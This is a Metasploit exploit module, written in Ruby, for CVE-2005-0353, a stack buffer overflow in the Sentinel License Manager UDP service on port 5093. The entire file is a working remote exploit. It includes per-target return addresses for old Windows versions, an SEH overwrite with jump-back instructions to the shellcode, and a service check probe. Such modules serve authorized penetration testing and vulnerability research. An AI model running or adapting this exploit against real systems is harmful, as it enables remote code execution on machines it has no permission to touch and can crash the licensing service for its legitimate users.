##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SentinelLM UDP Buffer Overflow',
        'Description' => %q{
          This module exploits a simple stack buffer overflow in the Sentinel
          License Manager. The SentinelLM service is installed with a
          wide selection of products and seems particular popular with
          academic products. If the wrong target value is selected,
          the service will crash and not restart.
        },
        'Author' => [ 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-0353'],
          [ 'OSVDB', '14605'],
          [ 'BID', '12742'],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 800,
          'BadChars' => "\x00\x20",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          ['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
          ['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
          ['SentinelLM 7.2.0.0 Windows 2000 German', { 'Ret' => 0x74fa1887 }], # ws2help.dll
          ['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
          ['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb
        ],
        'DisclosureDate' => '2005-03-07',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5093)
      ]
    )
  end

  def check
    connect_udp
    udp_sock.put("\x7a\x00\x00\x00\x00\x00")
    res = udp_sock.recvfrom(8192)
    disconnect_udp

    if (res and res[0] == 0x7a)
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect_udp

    # Payload goes first
    buf = payload.encoded + rand_text_english(2048 - payload.encoded.length)

    # Return to a pop/pop/ret via SEH
    buf[836, 4] = [target.ret].pack('V')

    # The pop/pop/ret takes us here, jump back 5 bytes
    buf[832, 2] = "\xeb\xf9"

    # Now jump all the way back to our shellcode
    buf[827, 5] = "\xe9" + [-829].pack('V')

    udp_sock.put(buf)
    udp_sock.recvfrom(8192)

    handler
    disconnect_udp
  end

end
